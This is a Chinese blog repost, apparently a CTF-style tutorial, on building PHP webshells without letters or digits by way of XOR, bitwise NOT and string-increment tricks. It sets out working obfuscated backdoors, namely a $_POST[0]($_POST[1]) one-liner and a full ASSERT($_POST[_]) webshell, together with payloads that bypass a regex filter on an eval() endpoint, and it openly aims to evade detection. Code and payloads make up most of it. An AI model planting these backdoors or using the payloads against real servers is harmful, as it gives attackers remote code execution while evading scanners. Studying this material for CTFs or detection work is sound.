如何构造不包含字母和数字的webshell

这篇具有很好参考价值的文章主要介绍了如何构造不包含字母和数字的webshell。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

利用不含字母与数字进行绕过

1.异或进行绕过

 2.取反进行绕过

 3.利用php语法绕过


利用不含字母与数字进行绕过

基本代码运行思路理解 

<?php
    echo "A"^"`";
?>

运行结果为!

我们可以看到,输出的结果是字符"!"。之所以会得到这样的结果,是因为代码中对字符"A"和字符"`"进行了异或操作。在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。异或操作有时也被用来交换两个变量的值。

那么什么是异或操作呢

在php中,异或操作是两个二进制数相同时,异或为0,不同为1

比如像上面这个例子

A的ASCII值是65,对应的二进制值是0100 0001

`的ASCII值是96,对应的二进制值是0110 0000

异或的二进制的值是00100001,对应的ASCII值是33,对应的字符串的值就是!了

我们都知道,PHP是弱类型的语言,也就是说在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点,我们对PHP的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理,下面我们来看一段代码:

  <?php
    function B(){
        echo "Hello Angel_Kitty";
    }
    $_++;
    $__= "?" ^ "}";
    $__();
?>

执行结果为:Hello Angel_Kitty

我们一起来分析一下上面这段代码:

$_++;这行代码的意思是对变量名为"_"的变量进行自增操作,在PHP中未定义的变量默认值为null,null==false==0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。 $__="?" ^ "}";对字符"?"和"}"进行异或运算,得到结果B赋给变量名为"__"(两个下划线)的变量 $ __ ();通过上面的赋值操作,变量$__的值为B,所以这行可以看作是B(),在PHP中,这行代码表示调用函数B,所以执行结果为Hello Angel_Kitty。在PHP中,我们可以将字符串当作函数来处理。 看到这里,相信大家如果再看到类似的PHP后门应该不会那么迷惑了,你可以通过一句句的分析后门代码来理解后门想实现的功能。

我们希望使用这种后门创建一些可以绕过检测的并且对我们有用的字符串,如_POST"\, "system"\, "call_user_func_array",或者是任何我们需要的东西。

下面是个非常简单的非数字字母的PHP后门:

 <?php
    @$_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
    ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

那么我们现在来做一道题

这道题需要我们执行getFlag函数,通过GET传参,并对code参数进行了字母大小写和数字过滤

这道题就可以用异或操作来绕过

1.异或进行绕过

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>
<?php
function getFlag(){
    echo "{bypass successfully!}";
}
?>

payload如下:

?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag

"`{{{"^"?<>/"的结果是"_GET",所以${$_}[_]()=$_GET[_](),而此时_=getFlag

所以直接就执行了getFlag(),拿到flag
如何构造不包含字母和数字的webshell,android

 2.取反进行绕过

下面是一段代码进行原理理解:

如何构造不包含字母和数字的webshell,android

 payload:

?code=$_=~%98%9A%8B%B9%93%9E%98;$_();


如何构造不包含字母和数字的webshell,android

 3.利用php语法绕过

利用简单实例理解原理:

利用php语法规则

这就得借助PHP的一个小技巧,先看文档: http://php.net/manual/zh/language.operators.increment.php

在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中 $a = 'Z'; $a++; 将把 $a 变成'AA',而在 C 中,a = 'Z'; a++; 将把 a 变成 '['('Z' 的 ASCII 值是 90,'[' 的 ASCII 值是 91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化。

也就是说,'a'++ => 'b','b'++ => 'c'... 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

那么,如何拿到一个值为字符串'a'的变量呢?

巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array:

如何构造不包含字母和数字的webshell,android

再取这个字符串的第一个字母,就可以获得'A'了。

利用这个技巧,我编写了如下webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是ASSERT($POST[]),无需获取小写a)

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
ASSERT
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

payload:

?code=$啊="@@^|@@@"^"'%*:,!'";$啊();

如何构造不包含字母和数字的webshell,android文章来源地址https://www.toymoban.com/news/detail-655821.html

到了这里,关于如何构造不包含字母和数字的webshell的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Android MediaTek bootloader 的序列号长度 & 移除非字母和数字限制 SN-Writer工具支持写入

    目录 修改的文件: 文件修改说明: 这个是我在mtk芯片方案android 5.1的修改 , 据我所知12版本以内都是这么改 灰常简单 希望能帮助有需要的人。 主要对 MediaTek bootloader 的序列号长度和打印设置进行了优化,提高了序列号的长度,并改变了打印设置,使其在构建中也能打印调试

    2024年02月13日
    浏览(43)
  • 随机字母数字后缀的lockbit3.0勒索病毒数据恢复、数据如何解密恢复

    前言:简介 勒索病毒是一种恶意软件,它会加密受害者的文件,91数据恢复研究眼近年来研究发现,勒索病毒的攻击越来越频繁,越来越猖獗,给个人和企业带来了巨大的损失和困扰。其中,一种名为lockbit3.0的勒索病毒,更是被认为是目前世界上最活跃的勒索病毒之一,它具

    2024年02月03日
    浏览(26)
  • 不含数字的webshell绕过

    1.首先我们得了解一下异或操作的原理 在php中,异或操作是两个二进制数相同时,异或(相同)为0,不同为1 举个例子 A的ASCII值是65,对应的二进制值是0100 0001 `的ASCII值是96,对应的二进制值是 0110 0000 上下一一对应(相同)为0,不同为1,异或的二进制的值是00100001,对应的ASCI

    2024年02月12日
    浏览(23)
  • 如何判断某列某个单元格是否包含特殊字符(如空格、数字、下划线等等),并返回特殊字符

    VBA代码已写好,直接粘贴到VBA编辑器并保存,即可使用。也可以下载我写好的保存了宏代码的excel文件,直接调用即可。我的excel文件中也包含了很多重度办公人士经常需要用到的其他函数,目前的函数较少,后续会不断更新新的宏函数进去,并会在我的博客中进行功能介绍使

    2024年02月13日
    浏览(41)
  • 只含有4个小写字母且不包含f的正则表达式

    这是一个只包含小写字母且长度为4的字符串的正则表达式,其中不包含字母\\\"f\\\": 解释: ^ 匹配字符串的开头。 [a-eg-z] 匹配除了字母\\\"f\\\"之外的小写字母。 {4} 匹配前面的模式恰好4次。 $ 匹配字符串的结尾。 因此,这个正则表达式匹配任何仅包含小写字母且长度为4的字符串,

    2024年02月15日
    浏览(33)
  • 【LeetCode每日一题】2645. 构造有效字符串的最少插入数(计算组数+动态规划+考虑相邻字母)

    2024-1-11 2645. 构造有效字符串的最少插入数 方法一:计算组数 1.用count统计,能构成几组abc 2.如果当前字符大于之前字符,说明还在组内,不更新 3.如果当前字符小于等于之前字符,说明不是同一组的abc,组数更新 4.最终返回值:组数*3,再减去原本的字符数,就是要插入的次数

    2024年01月17日
    浏览(45)
  • python判断英文字母和数字,python怎么判断英文字母

    本篇文章给大家谈谈python判断英文字母和数字,以及python判断英文字母函数,希望对各位有所帮助,不要忘了收藏本站喔。 判断如下: 1、逐个字符用ord()判断ascii码:a - z : 97 - 122,A - Z : 65 - 90。 2、def is_english_char(ch):if ord(ch) not in (97,122) and ord(ch) not in (65,90):return False,r

    2024年02月07日
    浏览(37)
  • WebShell是什么?如何抵御WebShell?

    这边简单的给各位看官介绍一下: Webshell是通过服务器开放的端口获取服务器的某些权限。 webshell又称脚本木马,一般分为大马、小马、一句话木马三种. 大马,体积大、功能齐全、能够管理数据库、文件管理、对站点进行快速的信息收集,甚至能够提权。 小马,一般而言,我

    2024年02月09日
    浏览(21)
  • python字母和数字的转换

    在python的编写过程中难免遇到字母和数字之间的转换问题: 使用ord(\\\'x\\\'),可以实现将字母转换成数字: A→a→1 ord(\\\'A\\\') =65 ord(\\\'a\\\') =97 1 = 1 使用过程只需要相应的数学转化就可以了 以此类推: ord(\\\'A\\\') = 65,ord(\\\'B\\\') = 66,ord(\\\'C\\\') = 67------- ord(\\\'a\\\') = 97 , ord(\\\'b\\\') = 98,ord(\\\'c\\\') = 99------- 相反,

    2024年02月08日
    浏览(23)
  • selenium实现输入数字字母验证码

    1. 登录url 2. 获取验证码坐标 3. 根据桌标截图验证码 4. 对验证码进行识别 5. 自动输入验证码

    2024年02月07日
    浏览(32)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包